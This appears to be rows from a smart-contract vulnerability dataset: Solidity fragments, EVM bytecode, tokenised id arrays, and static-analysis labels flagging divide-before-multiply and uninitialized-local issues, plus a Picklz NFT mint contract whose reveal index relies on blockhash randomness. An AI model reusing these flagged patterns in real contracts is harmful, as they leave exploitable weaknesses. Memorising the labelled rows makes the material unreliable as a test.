__Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; }
0x608060405234801561001057600080fd5b50600436106101735760003560e01c8063715018a6116100de5780639ea7529a11610097578063ba05158611610071578063ba051586146102de578063f08a6962146102f1578063f2fde38b146102f9578063f7b188a51461030c57610173565b80639ea7529a146102c6578063a14f7c59146102ce578063ae86ed89146102d657610173565b8063715018a6146102805780638456cb5914610288578063879df1f3146102905780638da5cb5b146102a3578063976370bc146102ab5780639a6de065146102be57610173565b80632f6889ea116101305780632f6889ea146101fc578063351dc2e51461020f5780633cd797541461022257806343c0fe96146102425780635c975abb14610255578063633d1fb81461025d57610173565b8063019e27291461017857806312cdcf841461018d5780631a3776ee146101ab5780632069b902146101c1578063211e28b6146101d45780632d49ffcd146101e7575b600080fd5b61018b610186366004612205565b610314565b005b61019561040e565b6040516101a2919061224a565b60405180910390f35b6101b361041d565b6040516101a2929190612593565b61018b6101cf3660046121d5565b61054c565b61018b6101e23660046121bb565b610636565b6101ef6106dd565b6040516101a2919061225e565b61018b61020a3660046120ce565b6106e7565b61018b61021d366004612129565b61082e565b6102356102303660046121d5565b6109fb565b6040516101a2919061256c565b61018b610250366004612100565b610a1c565b6101ef610b4a565b61027061026b3660046120b4565b610b53565b6040516101a29493929190612575565b61018b610b7d565b61018b610c29565b6101ef61029e3660046120b4565b610c95565b610195610cb6565b61018b6102b9366004612152565b610cc5565b610235610dd8565b610235610dde565b61018b610df5565b610195610fed565b61018b6102ec3660046121d5565b610ffc565b610235611280565b61018b6103073660046120b4565b6112dd565b61018b6113e0565b600054610100900460ff168061032d575061032d61144a565b8061033b575060005460ff16155b6103765760405162461bcd60e51b815260040180806020018281038252602e8152602001806125f1602e913960400191505060405180910390fd5b600054610100900460ff161580156103a1576000805460ff1961ff0019909116610100171660011790555b6103a961145b565b6103b161150d565b609880546001600160a01b038086166001600160a01b03199283161790925560998054928516929091169190911790556103eb85856115aa565b609c805460ff191690558015610407576000805461ff00191690555b5050505050565b6099546001600160a01b031681565b600080609a60008154811061042e57fe5b90600052602060002001546000148061045f575043609a60008154811061045157fe5b906000526020600020015410155b1561046f57506000905080610548565b60006097600061047d61169a565b6001600160a01b03166001600160a01b031681526020019081526020016000209050609760006104ab61169a565b6001600160a01b031681526020810191909152604001600020546104d6576000809250925050610548565b609a5481546000916104e8919061169e565b905060005b609a5481101561054457609a818154811061050457fe5b9060005260206000200154431180156105245750600383015460ff168110155b1561053c576105338583611707565b94506001909301925b6001016104ed565b5050505b9091565b61055461169a565b6001600160a01b0316610565610cb6565b6001600160a01b0316146105ae576040805162461bcd60e51b81526020600482018190526024820152600080516020612640833981519152604482015290519081900360640190fd5b609a80546000919060001981019081106105c457fe5b9060005260206000200154905060005b8281101561063157609a6105f3609b548461170790919063ffffffff16565b81546001810183556000928352602090922090910155609a8054600019810190811061061b57fe5b60009182526020909120015491506001016105d4565b505050565b61063e61169a565b6001600160a01b031661064f610cb6565b6001600160a01b031614610698576040805162461bcd60e51b81526020600482018190526024820152600080516020612640833981519152604482015290519081900360640190fd5b609c5460ff16151581151514156106ca5760405162461bcd60e51b81526004016106c190612360565b60405180910390fd5b609c805460ff1916911515919091179055565b609c5460ff165b90565b6106ef610b4a565b610737576040805162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b604482015290519081900360640190fd5b61073f61169a565b6001600160a01b0316610750610cb6565b6001600160a01b031614610799576040805162461bcd60e51b81526020600482018190526024820152600080516020612640833981519152604482015290519081900360640190fd5b6040516370a0823160e01b81526000906001600160a01b038416906370a08231906107c890309060040161224a565b60206040518083038186803b1580156107e057600080fd5b505afa1580156107f4573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061081891906121ed565b90506106316001600160a01b0384168383611768565b61083661169a565b6001600160a01b0316610847610cb6565b6001600160a01b031614610890576040805162461bcd60e51b81526020600482018190526024820152600080516020612640833981519152604482015290519081900360640190fd5b6001600160a01b0382166108b65760405162461bcd60e51b81526004016106c1906123aa565b600081116108d65760405162461bcd60e51b81526004016106c19061246f565b6001600160a01b0382166000908152609760205260409020541561090c5760405162461bcd60e51b81526004016106c19061241f565b6000609a60008154811061091c57fe5b6000918252602082200154609b54609a805492945061095c92600019810190811061094357fe5b906000526020600020015461170790919063ffffffff16565b905080431061097d5760405162461bcd60e51b81526004016106c190612336565b81811161099c5760405162461bcd60e51b81526004016106c190612516565b6109a4612019565b92835250506001600160a01b0391909116600090815260976020908152604091829020835181559083015160018201559082015160028201556060909101516003909101805460ff191660ff909216919091179055565b609a8181548110610a0b57600080fd5b600091825260209091200154905081565b610a2461169a565b6001600160a01b0316610a35610cb6565b6001600160a01b031614610a7e576040805162461bcd60e51b81526020600482018190526024820152600080516020612640833981519152604482015290519081900360640190fd5b6001600160a01b038216610aa45760405162461bcd60e51b81526004016106c1906122eb565b6001600160a01b038216600090815260976020526040902054610ad95760405162461bcd60e51b81526004016106c190612384565b6001600160a01b0382166000908152609760205260409020600182151514610b02576000610b19565b610b19610b0e846117ba565b600183015490611707565b60018083019190915582151514610b31576000610b44565b60028101546001820154610b4491611707565b90555050565b60655460ff1690565b60976020526000908152604090208054600182015460028301546003909301549192909160ff1684565b610b8561169a565b6001600160a01b0316610b96610cb6565b6001600160a01b031614610bdf576040805162461bcd60e51b81526020600482018190526024820152600080516020612640833981519152604482015290519081900360640190fd5b6033546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3603380546001600160a01b0319169055565b610c3161169a565b6001600160a01b0316610c42610cb6565b6001600160a01b031614610c8b576040805162461bcd60e51b81526020600482018190526024820152600080516020612640833981519152604482015290519081900360640190fd5b610c936118df565b565b6001600160a01b03811660009081526097602052604090205415155b919050565b6033546001600160a01b031690565b610ccd61169a565b6001600160a01b0316610cde610cb6565b6001600160a01b031614610d27576040805162461bcd60e51b81526020600482018190526024820152600080516020612640833981519152604482015290519081900360640190fd5b82610d445760405162461bcd60e51b81526004016106c1906123d0565b80610d615760405162461bcd60e51b81526004016106c190612446565b828114610d805760405162461bcd60e51b81526004016106c1906123f2565b60005b60ff811684111561040757610dd085858360ff16818110610da057fe5b9050602002016020810190610db591906120b4565b84848460ff16818110610dc457fe5b9050602002013561082e565b600101610d83565b609b5481565b6000610df0610deb61169a565b6117ba565b905090565b610dfd610b4a565b15610e42576040805162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015290519081900360640190fd5b609c5460ff1615610e655760405162461bcd60e51b81526004016106c1906124f6565b33600090815260976020526040902054610e915760405162461bcd60e51b81526004016106c190612543565b600080610e9c61041d565b9150915060008211610ec05760405162461bcd60e51b81526004016106c1906124ca565b6099546040516370a0823160e01b815283916001600160a01b0316906370a0823190610ef090309060040161224a565b60206040518083038186803b158015610f0857600080fd5b505afa158015610f1c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f4091906121ed565b1015610f5e5760405162461bcd60e51b81526004016106c190612269565b8060976000610f6b61169a565b6001600160a01b03168152602081019190915260400160009081206003015460ff169190910190609790610f9d61169a565b6001600160a01b031681526020810191909152604001600020600301805460ff191660ff92909216919091179055610fe9610fd661169a565b6099546001600160a01b03169084611768565b5050565b6098546001600160a01b031681565b611004610b4a565b15611049576040805162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015290519081900360640190fd5b609c5460ff161561106c5760405162461bcd60e51b81526004016106c1906124f6565b336000908152609760205260409020546110985760405162461bcd60e51b81526004016106c190612543565b60006110a5610deb61169a565b9050600081116110c75760405162461bcd60e51b81526004016106c1906124ca565b818110156110e75760405162461bcd60e51b81526004016106c1906122bb565b6098546040516370a0823160e01b815283916001600160a01b0316906370a082319061111790309060040161224a565b60206040518083038186803b15801561112f57600080fd5b505afa158015611143573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061116791906121ed565b10156111855760405162461bcd60e51b81526004016106c190612493565b6111b8826097600061119561169a565b6001600160a01b0316815260208101919091526040016000206002015490611707565b609760006111c461169a565b6001600160a01b031681526020810191909152604001600020600201556112006111ec61169a565b6099546001600160a01b031690308561197f565b609954604051630852cd8d60e31b81526001600160a01b03909116906342966c689061123090859060040161256c565b600060405180830381600087803b15801561124a57600080fd5b505af115801561125e573d6000803e3d6000fd5b50505050610fe961126d61169a565b6098546001600160a01b03169084611768565b6000805b609a548110156112d557609a818154811061129b57fe5b90600052602060002001544310156112cd57609a81815481106112ba57fe5b90600052602060002001549150506106e4565b600101611284565b506000905090565b6112e561169a565b6001600160a01b03166112f6610cb6565b6001600160a01b03161461133f576040805162461bcd60e51b81526020600482018190526024820152600080516020612640833981519152604482015290519081900360640190fd5b6001600160a01b0381166113845760405162461bcd60e51b81526004018080602001828103825260268152602001806125a56026913960400191505060405180910390fd5b6033546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3603380546001600160a01b0319166001600160a01b0392909216919091179055565b6113e861169a565b6001600160a01b03166113f9610cb6565b6001600160a01b031614611442576040805162461bcd60e51b81526020600482018190526024820152600080516020612640833981519152604482015290519081900360640190fd5b610c936119df565b600061145530611a62565b15905090565b600054610100900460ff1680611474575061147461144a565b80611482575060005460ff16155b6114bd5760405162461bcd60e51b815260040180806020018281038252602e8152602001806125f1602e913960400191505060405180910390fd5b600054610100900460ff161580156114e8576000805460ff1961ff0019909116610100171660011790555b6114f0611a68565b6114f8611b08565b801561150a576000805461ff00191690555b50565b600054610100900460ff1680611526575061152661144a565b80611534575060005460ff16155b61156f5760405162461bcd60e51b815260040180806020018281038252602e8152602001806125f1602e913960400191505060405180910390fd5b600054610100900460ff1615801561159a576000805460ff1961ff0019909116610100171660011790555b6115a2611a68565b6114f8611c01565b600082116115ca5760405162461bcd60e51b81526004016106c190612293565b600081116115ea5760405162461bcd60e51b81526004016106c190612311565b609b819055609a805460018101825560008290527f44da158ba27f9252712a74ff6a55c5d531f69609f1f6e7f17c4443a8e2089be40183905561162d8383611707565b81546001810183556000928352602090922090910155609a61165a611653836002611cac565b8490611707565b81546001810183556000928352602090922090910155609a611680611653836003611cac565b815460018101835560009283526020909220909101555050565b3390565b60008082116116f4576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b8183816116fd57fe5b0490505b92915050565b600082820183811015611761576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610631908490611d05565b6000609a6000815481106117ca57fe5b9060005260206000200154600014806117fb575043609a6000815481106117ed57fe5b906000526020600020015410155b1561180857506000610cb1565b6001600160a01b03821660009081526097602052604090208054611830576000915050610cb1565b600061185d609a60008154811061184357fe5b906000526020600020015443611db690919063ffffffff16565b609a54609b5491925060009161187291611cac565b9050808211156118825780611884565b815b8354909250600090611896908361169e565b905060006118bb85600101546118b58487611cac90919063ffffffff16565b90611707565b90506118d4856002015482611db690919063ffffffff16565b979650505050505050565b6118e7610b4a565b1561192c576040805162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015290519081900360640190fd5b6065805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a25861196261169a565b604080516001600160a01b039092168252519081900360200190a1565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b1790526119d9908590611d05565b50505050565b6119e7610b4a565b611a2f576040805162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b604482015290519081900360640190fd5b6065805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa61196261169a565b3b151590565b600054610100900460ff1680611a815750611a8161144a565b80611a8f575060005460ff16155b611aca5760405162461bcd60e51b815260040180806020018281038252602e8152602001806125f1602e913960400191505060405180910390fd5b600054610100900460ff161580156114f8576000805460ff1961ff001990911661010017166001179055801561150a576000805461ff001916905550565b600054610100900460ff1680611b215750611b2161144a565b80611b2f575060005460ff16155b611b6a5760405162461bcd60e51b815260040180806020018281038252602e8152602001806125f1602e913960400191505060405180910390fd5b600054610100900460ff16158015611b95576000805460ff1961ff0019909116610100171660011790555b6000611b9f61169a565b603380546001600160a01b0319166001600160a01b038316908117909155604051919250906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350801561150a576000805461ff001916905550565b600054610100900460ff1680611c1a5750611c1a61144a565b80611c28575060005460ff16155b611c635760405162461bcd60e51b815260040180806020018281038252602e8152602001806125f1602e913960400191505060405180910390fd5b600054610100900460ff16158015611c8e576000805460ff1961ff0019909116610100171660011790555b6065805460ff19169055801561150a576000805461ff001916905550565b600082611cbb57506000611701565b82820282848281611cc857fe5b04146117615760405162461bcd60e51b815260040180806020018281038252602181526020018061261f6021913960400191505060405180910390fd5b6000611d5a826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316611e139092919063ffffffff16565b80519091501561063157808060200190516020811015611d7957600080fd5b50516106315760405162461bcd60e51b815260040180806020018281038252602a815260200180612660602a913960400191505060405180910390fd5b600082821115611e0d576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b6060611e228484600085611e2a565b949350505050565b606082471015611e6b5760405162461bcd60e51b81526004018080602001828103825260268152602001806125cb6026913960400191505060405180910390fd5b611e7485611a62565b611ec5576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b600080866001600160a01b031685876040518082805190602001908083835b60208310611f035780518252601f199092019160209182019101611ee4565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114611f65576040519150601f19603f3d011682016040523d82523d6000602084013e611f6a565b606091505b50915091506118d482828660608315611f84575081611761565b825115611f945782518084602001fd5b8160405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611fde578181015183820152602001611fc6565b50505050905090810190601f16801561200b5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b6040518060800160405280600081526020016000815260200160008152602001600060ff1681525090565b80356001600160a01b0381168114610cb157600080fd5b60008083601f84011261206c578182fd5b50813567ffffffffffffffff811115612083578182fd5b602083019150836020808302850101111561209d57600080fd5b9250929050565b80358015158114610cb157600080fd5b6000602082840312156120c5578081fd5b61176182612044565b600080604083850312156120e0578081fd5b6120e983612044565b91506120f760208401612044565b90509250929050565b60008060408385031215612112578182fd5b61211b83612044565b91506120f7602084016120a4565b6000806040838503121561213b578182fd5b61214483612044565b946020939093013593505050565b60008060008060408587031215612167578182fd5b843567ffffffffffffffff8082111561217e578384fd5b61218a8883890161205b565b909650945060208701359150808211156121a2578384fd5b506121af8782880161205b565b95989497509550505050565b6000602082840312156121cc578081fd5b611761826120a4565b6000602082840312156121e6578081fd5b5035919050565b6000602082840312156121fe578081fd5b5051919050565b6000806000806080858703121561221a578384fd5b843593506020850135925061223160408601612044565b915061223f60608601612044565b905092959194509250565b6001600160a01b0391909116815260200190565b901515815260200190565b60208082526010908201526f115610d1515114d7d05590525317d21560821b604082015260600190565b6020808252600e908201526d4e4f5f53544152545f424c4f434b60901b604082015260600190565b602080825260169082015275414d4f554e545f455843454544535f5245574152445360501b604082015260600190565b6020808252600c908201526b414444524553535f5a45524f60a01b604082015260600190565b6020808252600b908201526a2727afa22aa920aa24a7a760a91b604082015260600190565b60208082526010908201526f159154d5125391d7d192539254d2115160821b604082015260600190565b6020808252600a908201526953414d455f56414c554560b01b604082015260600190565b6020808252600c908201526b24a72b20a624a22faaa9a2a960a11b604082015260600190565b6020808252600c908201526b5a45524f5f4144445245535360a01b604082015260600190565b6020808252600890820152674e4f5f555345525360c01b604082015260600190565b6020808252601390820152720a082a4829abe9c9ea8be8aa2be988a9c8ea89606b1b604082015260600190565b6020808252600d908201526c22ac24a9aa24a723afaaa9a2a960991b604082015260600190565b6020808252600f908201526e4e4f5f56455354494e475f4441544160881b604082015260600190565b6020808252600a90820152694e4f5f5245574152445360b01b604082015260600190565b60208082526018908201527f455843454544535f415641494c41424c455f544f4b454e530000000000000000604082015260600190565b6020808252601290820152714e4f5f50454e44494e475f5245574152445360701b604082015260600190565b6020808252600690820152651313d0d2d15160d21b604082015260600190565b602080825260139082015272494e56414c49445f53544152545f424c4f434b60681b604082015260600190565b6020808252600f908201526e1393d517d5d2125511531254d51151608a1b604082015260600190565b90815260200190565b9384526020840192909252604083015260ff16606082015260800190565b91825260ff1660208201526040019056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c496e697469616c697a61626c653a20636f6e747261637420697320616c726561647920696e697469616c697a6564536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a2646970667358221220538d6dce57468000eab8b044691eeb4a55e38da39ec16ec6832f4507542eabbf64736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2546, 2692, 12879, 17914, 2575, 27717, 21926, 2546, 2620, 2487, 2050, 21084, 2575, 2683, 14142, 21926, 2497, 28311, 2683, 2581, 2278, 22932, 2475, 2063, 2683, 2581, 10322, 2094, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1020, 1012, 1014, 1026, 1014, 1012, 1022, 1012, 1014, 1025, 10975, 8490, 2863, 11113, 11261, 4063, 1058, 2475, 1025, 12324, 1063, 3647, 2121, 2278, 11387, 1065, 2013, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 3647, 2121, 2278, 11387, 1012, 14017, 1000, 1025, 12324, 1063, 3647, 18900, 2232, 1065, 2013, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 8785, 1013, 3647, 18900, 2232, 1012, 14017, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,530
0x96f120ee8ca9f9d68028b4bd3ed749248d6e7627
pragma solidity >=0.7.0; import "./ERC721.sol"; import "./Ownable.sol"; import "./IMintedBeforeReveal.sol"; contract Picklz is ERC721, Ownable, IMintedBeforeReveal { // This is the original provenance record of all Picklz in existence at the time. string public constant ORIGINAL_PROVENANCE = ""; // Time of when the sale starts. uint256 public constant SALE_START_TIMESTAMP = 1617202800; // Time after which the Picklz are randomized and revealed 7 days from initial launch). uint256 public constant REVEAL_TIMESTAMP = SALE_START_TIMESTAMP + (86400 * 7); // Maximum amount of Picklz in existance. uint256 public constant MAX_PICKLZ_SUPPLY = 4269; // Truth. string public constant R = "Some of our pickles are looking for love, others just want to watch the world burn. WE ARE THE OG PICKLZ"; // The block in which the starting index was created. uint256 public startingIndexBlock; // The index of the item that will be #1. uint256 public startingIndex; mapping (uint256 => bool) private _mintedBeforeReveal; constructor(string memory name, string memory symbol, string memory baseURI) ERC721(name, symbol) { _setBaseURI(baseURI); } function isMintedBeforeReveal(uint256 index) public view override returns (bool) { return _mintedBeforeReveal[index]; } function getPicklzMaxAmount() public view returns (uint256) { require(block.timestamp >= SALE_START_TIMESTAMP, "Sale has not started yet so you can't get a price yet."); require(totalSupply() < MAX_PICKLZ_SUPPLY, "Sale has already ended, no more Picklz left to sell."); uint currentSupply = totalSupply(); return 500; // 500 max per transaction } function getPicklzPrice() public view returns (uint256) { require(block.timestamp >= SALE_START_TIMESTAMP, "Sale has not started yet so you can't get a price yet."); require(totalSupply() < MAX_PICKLZ_SUPPLY, "Sale has already ended, no more Picklz left to sell."); uint currentSupply = totalSupply(); return 50000000000000000; // 0.05 ETH } function mintAPicklz(uint256 numberOfPicklz) public payable { // Some exceptions that need to be handled. require(totalSupply() < MAX_PICKLZ_SUPPLY, "Sale has already ended."); require(numberOfPicklz > 0, "You cannot mint 0 Picklz."); require(numberOfPicklz <= getPicklzMaxAmount(), "You are not allowed to buy this many Picklz at once in this price tier."); require(SafeMath.add(totalSupply(), numberOfPicklz) <= MAX_PICKLZ_SUPPLY, "Exceeds maximum Picklz supply. Please try to mint less Picklz."); require(SafeMath.mul(getPicklzPrice(), numberOfPicklz) == msg.value, "Amount of Ether sent is not correct."); for (uint i = 0; i < numberOfPicklz; i++) { uint mintIndex = totalSupply(); if (block.timestamp < REVEAL_TIMESTAMP) { _mintedBeforeReveal[mintIndex] = true; } _safeMint(msg.sender, mintIndex); } // Source of randomness. Theoretical miner withhold manipulation possible but should be sufficient in a pragmatic sense // Set the starting block index when the sale concludes either time-wise or the supply runs out. if (startingIndexBlock == 0 && (totalSupply() == MAX_PICKLZ_SUPPLY || block.timestamp >= REVEAL_TIMESTAMP)) { startingIndexBlock = block.number; } } /** * @dev Finalize starting index */ function finalizeStartingIndex() public { require(startingIndex == 0, "Starting index is already set"); require(startingIndexBlock != 0, "Starting index block must be set"); startingIndex = uint(blockhash(startingIndexBlock)) % MAX_PICKLZ_SUPPLY; // Just a sanity case in the worst case if this function is called late (EVM only stores last 256 block hashes). if (SafeMath.sub(block.number, startingIndexBlock) > 255) { startingIndex = uint(blockhash(block.number-1)) % MAX_PICKLZ_SUPPLY; } // Prevent default sequence because that would be a bit boring. if (startingIndex == 0) { startingIndex = SafeMath.add(startingIndex, 1); } } /** * @dev Withdraw ether from this contract (Callable by owner only) */ function withdraw() onlyOwner public { uint balance = address(this).balance; msg.sender.transfer(balance); } /** * @dev Changes the base URI if we want to move things in the future (Callable by owner only) */ function changeBaseURI(string memory baseURI) onlyOwner public { _setBaseURI(baseURI); } /** * @dev Reserved for people who helped this project and giveaways. Max 10 */ function reserveGiveaway(uint256 numPicklz) public onlyOwner { uint currentSupply = totalSupply(); require(totalSupply() + numPicklz <= 50, "For Aidrop to Previous Pickle Farmers"); uint256 index; // Reserved for people who helped this project and giveaways for (index = 0; index < numPicklz; index++) { _safeMint(owner(), currentSupply + index); } } }
0x6080604052600436106102045760003560e01c8063715018a611610118578063bc28d702116100a0578063e36d64981161006f578063e36d649814610d89578063e985e9c514610db4578063ec479ce114610e3b578063f2fde38b14610e66578063f4e4a6d114610eb757610204565b8063bc28d70214610bc9578063c87b56dd14610c1a578063cb774d4714610cce578063d96c17d314610cf957610204565b806395d89b41116100e757806395d89b4114610961578063a01e20e0146109f1578063a22cb46514610a1f578063a40f1aa514610a7c578063b88d4fde14610ab757610204565b8063715018a6146108c757806374df39c9146108de5780638da5cb5b146108f5578063946807fd1461093657610204565b80632f745c591161019b5780634980e1be1161016a5780634980e1be1461068e5780634f6ccce71461071e5780636352211e1461076d5780636c0360eb146107d257806370a082311461086257610204565b80632f745c59146104c557806339a0c6f9146105345780633ccfd60b146105fc57806342842e0e1461061357610204565b80631282eb57116101d75780631282eb57146103c957806318160ddd146103f457806318e20a381461041f57806323b872dd1461044a57610204565b806301ffc9a71461020957806306fdde0314610279578063081812fc14610309578063095ea7b31461036e575b600080fd5b34801561021557600080fd5b506102616004803603602081101561022c57600080fd5b8101908080357bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19169060200190929190505050610ee2565b60405180821515815260200191505060405180910390f35b34801561028557600080fd5b5061028e610f49565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102ce5780820151818401526020810190506102b3565b50505050905090810190601f1680156102fb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561031557600080fd5b506103426004803603602081101561032c57600080fd5b8101908080359060200190929190505050610feb565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561037a57600080fd5b506103c76004803603604081101561039157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611086565b005b3480156103d557600080fd5b506103de6111ca565b6040518082815260200191505060405180910390f35b34801561040057600080fd5b506104096111d0565b6040518082815260200191505060405180910390f35b34801561042b57600080fd5b506104346111e1565b6040518082815260200191505060405180910390f35b34801561045657600080fd5b506104c36004803603606081101561046d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111ee565b005b3480156104d157600080fd5b5061051e600480360360408110156104e857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611264565b6040518082815260200191505060405180910390f35b34801561054057600080fd5b506105fa6004803603602081101561055757600080fd5b810190808035906020019064010000000081111561057457600080fd5b82018360208201111561058657600080fd5b803590602001918460018302840111640100000000831117156105a857600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192905050506112bf565b005b34801561060857600080fd5b5061061161137a565b005b34801561061f57600080fd5b5061068c6004803603606081101561063657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611478565b005b34801561069a57600080fd5b506106a3611498565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106e35780820151818401526020810190506106c8565b50505050905090810190601f1680156107105780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561072a57600080fd5b506107576004803603602081101561074157600080fd5b81019080803590602001909291905050506114b4565b6040518082815260200191505060405180910390f35b34801561077957600080fd5b506107a66004803603602081101561079057600080fd5b81019080803590602001909291905050506114d7565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156107de57600080fd5b506107e761150e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561082757808201518184015260208101905061080c565b50505050905090810190601f1680156108545780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561086e57600080fd5b506108b16004803603602081101561088557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115b0565b6040518082815260200191505060405180910390f35b3480156108d357600080fd5b506108dc611685565b005b3480156108ea57600080fd5b506108f36117f5565b005b34801561090157600080fd5b5061090a61194d565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561094257600080fd5b5061094b611977565b6040518082815260200191505060405180910390f35b34801561096d57600080fd5b5061097661197f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156109b657808201518184015260208101905061099b565b50505050905090810190601f1680156109e35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610a1d60048036036020811015610a0757600080fd5b8101908080359060200190929190505050611a21565b005b348015610a2b57600080fd5b50610a7a60048036036040811015610a4257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611cf4565b005b348015610a8857600080fd5b50610ab560048036036020811015610a9f57600080fd5b8101908080359060200190929190505050611eaa565b005b348015610ac357600080fd5b50610bc760048036036080811015610ada57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190640100000000811115610b4157600080fd5b820183602082011115610b5357600080fd5b80359060200191846001830284011164010000000083111715610b7557600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611ff8565b005b348015610bd557600080fd5b50610c0260048036036020811015610bec57600080fd5b8101908080359060200190929190505050612070565b60405180821515815260200191505060405180910390f35b348015610c2657600080fd5b50610c5360048036036020811015610c3d57600080fd5b810190808035906020019092919050505061209a565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610c93578082015181840152602081019050610c78565b50505050905090810190601f168015610cc05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610cda57600080fd5b50610ce361236b565b6040518082815260200191505060405180910390f35b348015610d0557600080fd5b50610d0e612371565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610d4e578082015181840152602081019050610d33565b50505050905090810190601f168015610d7b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610d9557600080fd5b50610d9e612384565b6040518082815260200191505060405180910390f35b348015610dc057600080fd5b50610e2360048036036040811015610dd757600080fd5b81019080